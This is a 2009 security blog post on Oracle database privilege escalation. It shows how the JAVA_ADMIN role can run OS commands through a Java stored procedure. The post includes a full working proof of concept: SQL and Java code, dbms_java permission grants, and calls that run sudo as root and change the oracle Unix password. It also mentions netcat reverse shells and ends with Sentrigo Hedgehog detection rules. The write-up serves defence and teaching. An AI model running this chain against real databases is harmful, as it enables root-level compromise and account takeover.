Three Tier Oracle Security in London ~ Paul M. Wright

(nix, oracle, java, www, cloud ) intersect (safety, security, reliability, integrity)

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed
 

JAVA_ADMIN to OSDBA

    Question: Why escalate to SYSDBA when one can shortcut directly to OSDBA?

JAVA_ADMIN is a role in the Oracle DB which is granted to application accounts which wish to take advantage of Java integration. Given the recent US Anti-Trust go-ahead for the Oracle and Sun deal, this is likely to be an increasing phenomena.

--Interestingly a user granted the JAVA_ADMIN Role appears to have low privileges:
SQL> SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE='JAVA_ADMIN';
no rows selected
SQL> SELECT * FROM DBA_ROLE_PRIVS WHERE GRANTEE='JAVA_ADMIN';
no rows selected
SQL> SELECT * FROM DBA_SYS_PRIVS WHERE GRANTEE='JAVA_ADMIN';
no rows selected

Additionally Java sand boxing gives Java a reputation for high security compared to C++.
But because the role appears to be low privileged the JAVA_ADMIN role is potentially one of the more dangerous Roles in the Oracle database as it can actually run OS commands as the oracle software owner from the DB. As you will be aware the oracle software owner is a member of oinstall and osdba unix groups.
These privileges can be used by JAVA_ADMIN to change the oracle unix password, shoot an oracle xterm back to the attacker’s machine, shovel an oracle shell back to the attacker using netcat -e, and if oracle has sudo, JAVA_ADMIN can act as root using sudo -u. This is not good news for OS based Audit OR audit systems that run as the Oracle UNIX user such as Audit Vault. Thankfully I can show you how to use Sentrigo Hedgehog to protect against this threat. HH runs as the sentrigo unix user so is outside of the control of the oracle user. So let’s get down to some examples.

SQL> SELECT * FROM V$VERSION;
BANNER
---------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Prod
PL/SQL Release 10.2.0.3.0 - Production
CORE	10.2.0.3.0	Production
TNS for Linux: Version 10.2.0.3.0 - Production
NLSRTL Version 10.2.0.3.0 – Production

--Firstly create the user that is going to be escalated.
CREATE USER JAVATEST IDENTIFIED BY JAVATEST;
GRANT CREATE PROCEDURE TO JAVATEST;
GRANT CREATE SESSION TO JAVATEST;
GRANT JAVA_ADMIN TO JAVATEST;
Conn JAVATEST/JAVATEST;
--Secondly create the Java procedure which runs the OS commands:
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED javaproc AS
import java.io.*;
public class javaproc{public static String Run(String myString){
try{
Runtime.getRuntime().exec(myString);
return("0");
}
catch (Exception e){
return(e.getMessage());
}
}
}
/

--Thirdly JAVATEST grants itself the necessary OS permissions to run OS commands:

begin 
dbms_java.grant_permission('JAVATEST','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
end;
/
begin 
dbms_java.grant_permission('JAVATEST','SYS:java.lang.RuntimePermission','writeFileDescriptor','*' );
end;
/
begin dbms_java.grant_permission('JAVATEST','SYS:java.lang.RuntimePermission','readFileDescriptor','*' );
end;
/

--Fourthly create a procedure to execute the command:
CREATE or REPLACE PROCEDURE javaos(Command IN STRING)
AS
LANGUAGE JAVA
NAME 'javaproc.Run(java.lang.String)';
/

--Then JAVATEST user can run commands as oracle user with OSDBA and OINSTALL privs.-
SQL> call javaos('touch /home/oracle/test_java6.txt');
Call completed.

--
[oracle@dev oracle]$ ls -alt test_java6.txt
-rw-r--r--    1 oracle   oinstall        0 Aug 24 20:56 test_java6.txt
--
SQL> call javaos('rm /home/oracle/test_java6.txt');
Call completed.
--
[oracle@dev oracle]$ ls -alt test_java6.txt
ls: test_java6.txt: No such file or directory
--
SQL> call javaos('sudo -u root /bin/touch /test.txt');
Call completed.
--(depending on sudo setup of oracle ALL=(ALL)  NOPASSWD: ALL)
--
[root@dev /]# ls -lat test.txt
-rw-r--r--    1 root     root            0 Aug 24 21:52 test.txt
--The above can be used to change the oracle unix user's password as follows:
--Find the cipher text for new oracle password on another local linux box:
[root@dev2 init.d]# python
Python 2.2.3 (#1, Dec 21 2006, 18:29:13)
[GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
import crypt; print
crypt.crypt("boracle","foo")
>>> crypt.crypt("boracle","foo")
'fozKZbYTApzdw'
--Then the attacker can use this cipher text to change the server oracle unix password to boracle from the DB.
SQL> call javaos('sudo -u root /usr/sbin/usermod -p fozKZbYTApzdw oracle');
Call completed.

Additionally an attacker with the JAVA_ADMIN role could shoot an xterm back to a remote machine or shovel a netcat shell back to their remote host using the -e switch. In later Linux distributions Netcat is compiled without the GAPING_SECURITY_HOLE option i.e. nc -e is removed. In that case it does not take too much initiative to write one’s own netcat to the OS using the same method as the previous CREATE ANY DIRECTORY paper used for overwriting the binary password file.

The limits on what can be done with JAVA_ADMIN are in the imagination of the user. The key point now is how to secure against this?

--A sentrigo hedgehog rule could alert to JAVA_ADMIN usage as follows:
Object='SYS.DBMS_JAVA' and statement contains 'grant_permission'

--A sentrigo hedgehog rule to alert to nc -e shell shovelling:
Statement MATCHES '-e /usr/bin/bash'

--With RegEx to handle white space variations:
Statement MATCHES '-e\s*/usr/bin/bash'

Advanced Sentrigo Hedgehog rule writing using RegEx will be among the skills transferred in the new SANS Database Activity Monitoring course I am writing and teaching to debut at SANS London on Saturday the 5th of December 2009. http://www.sans.org/london09/description.php?tid=3602

But one question remains >> how to identity that the javaproc existed once it has been dropped and who carried out those actions? >> this is the field of Java Forensics… which will have to wait till next time..
In the meantime It will be interesting to see the result of the European Anti Trust probe review on September 3rd as to whether a full 4 month investigation into the Oracle Sun deal should take place BEFORE the Oracle/Sun deal is given the Global go ahead.

Leave a Reply

You must be logged in to post a comment.